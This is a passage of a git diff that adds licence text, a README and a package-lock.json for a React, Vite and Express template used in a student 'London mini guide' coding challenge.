if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + 4. If You Share Adapted Material You produce, the Adapter's + License You apply must not prevent recipients of the Adapted + Material from complying with this Public License. + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + +a. for the avoidance of doubt, Section 2(a)(1) grants You the right +to extract, reuse, reproduce, and Share all or a substantial +portion of the contents of the database; + +b. if You include all or a substantial portion of the database +contents in a database in which You have Sui Generis Database +Rights, then the database in which You have Sui Generis Database +Rights (but not its individual contents) is Adapted Material; and + +c. You must comply with the conditions in Section 3(a) if You Share +all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + +a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE +EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS +AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF +ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, +IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, +WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR +PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, +ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT +KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT +ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + +b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE +TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, +NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, +INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, +COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR +USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN +ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR +DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR +IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + +c. The disclaimer of warranties and limitation of liability provided +above shall be interpreted in a manner that, to the extent +possible, most closely approximates an absolute disclaimer and +waiver of all liability. + +Section 6 -- Term and Termination. + +a. This Public License applies for the term of the Copyright and +Similar Rights licensed here. However, if You fail to comply with +this Public License, then Your rights under this Public License +terminate automatically. + +b. Where Your right to use the Licensed Material has terminated under +Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + +c. For the avoidance of doubt, the Licensor may also offer the +Licensed Material under separate terms or conditions or stop +distributing the Licensed Material at any time; however, doing so +will not terminate this Public License. + +d. Sections 1, 5, 6, 7, and 8 survive termination of this Public +License. + +Section 7 -- Other Terms and Conditions. + +a. The Licensor shall not be bound by any additional or different +terms or conditions communicated by You unless expressly agreed. + +b. Any arrangements, understandings, or agreements regarding the +Licensed Material not stated herein are separate from and +independent of the terms and conditions of this Public License. + +Section 8 -- Interpretation. + +a. For the avoidance of doubt, this Public License does not, and +shall not be interpreted to, reduce, limit, restrict, or impose +conditions on any use of the Licensed Material that could lawfully +be made without permission under this Public License. + +b. To the extent possible, if any provision of this Public License is +deemed unenforceable, it shall be automatically reformed to the +minimum extent necessary to make it enforceable. If the provision +cannot be reformed, it shall be severed from this Public License +without affecting the enforceability of the remaining terms and +conditions. + +c. No term or condition of this Public License will be waived and no +failure to comply consented to unless expressly agreed to by the +Licensor. + +d. Nothing in this Public License constitutes or may be interpreted +as a limitation upon, or waiver of, any privileges and immunities +that apply to the Licensor or You, including from the legal +processes of any jurisdiction or authority. + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/README.md b/node-challenge-london-mini-guide/CYF-React-Express-Template/README.md new file mode 100644 index 00000000..4a2b000c --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/README.md @@ -0,0 +1,15 @@ +# React + Vite + Express + Vitest + +This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules. It's got a server set up with Express and a test runner set up with Vitest, but it isn't a full production setup. The aim of this template is to get out of your way and let you focus on writing your city guide app. + +Write your Express server in `server/server.js` and your React app in `client/App.jsx`. You can use `index.html` for any static content you want to serve. + +- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react/README.md) uses [Babel](https://babeljs.io/) for Fast Refresh +- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh +- [Vitest](https://vitejs.dev/guide/) for testing +- [Express](https://expressjs.com/) for a server +- [TailwindCSS](https://tailwindcss.com/) for styling (with PostCSS for optimisation) + +### Resources + +https://kentcdodds.com/blog/common-mistakes-with-react-testing-library diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/index.html b/node-challenge-london-mini-guide/CYF-React-Express-Template/index.html new file mode 100644 index 00000000..7d82db2c --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/index.html @@ -0,0 +1,13 @@ + + + + + + + Vite + React + Express + CYF + + +
                      + + + diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/package-lock.json b/node-challenge-london-mini-guide/CYF-React-Express-Template/package-lock.json new file mode 100644 index 00000000..a3740a2a --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/package-lock.json @@ -0,0 +1,7149 @@ +{ + "name": "CYF React and Express Template", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "CYF React and Express Template", + "version": "0.0.0", + "dependencies": { + "express": "^4.21.2", + "react": "^18.2.0", + "react-dom": "^18.2.0" + }, + "devDependencies": { + "@testing-library/jest-dom": "^6.1.5", + "@testing-library/react": "^14.1.2", + "@types/node": "^20.10.4", + "@types/react": "^18.2.43", + "@types/react-dom": "^18.2.17", + "@vitejs/plugin-react-swc": "^3.5.0", + "@vitest/coverage-v8": "^1.0.4", + "@vitest/ui": "^1.0.4", + "autoprefixer": "^10.4.16", + "concurrently": "^8.2.2", + "eslint": "^8.55.0", + "eslint-plugin-react": "^7.33.2", + "eslint-plugin-react-hooks": "^4.6.0", + "eslint-plugin-react-refresh": "^0.4.5", + "jsdom": "^23.0.1", + "postcss": "^8.4.32", + "tailwindcss": "^3.3.6", + "vite": "^5.4.6", + "vitest": "^1.0.4" + } + }, + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.2.tgz", + "integrity": "sha512-DA5a1C0gD/pLOvhv33YMrbf2FK3oUzwNl9oOJqE4XVjuEtt6XIakRcsd7eLiOSPkp1kTRQGICTA8cKra/vFbjw==", + "dev": true + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.23.5.tgz", + "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.23.4", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/code-frame/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/code-frame/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/code-frame/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/code-frame/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz", + "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.23.4.tgz", + "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.6.tgz", + "integrity": "sha512-Z2uID7YJ7oNvAI20O9X0bblw7Qqs8Q2hFy0R9tAfnfLkp5MW0UH9eUvnDSnFwKZ0AvgS1ucqR4KzvVHgnke1VQ==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.6.tgz", + "integrity": "sha512-zHd0eUrf5GZoOWVCXp6koAKQTfZV07eit6bGPmJgnZdnSAvvZee6zniW2XMF7Cmc4ISOOnPy3QaSiIJGJkVEDQ==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.6.tgz", + "integrity": "sha512-+uarb83brBzPKN38NX1MkB6vb6+mwvR6amUulqAE7ccQw1pEl+bCia9TbdG1lsnFP7lZySvUn37CHyXQdfTwzg==", + "dev": true, + "dependencies": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, 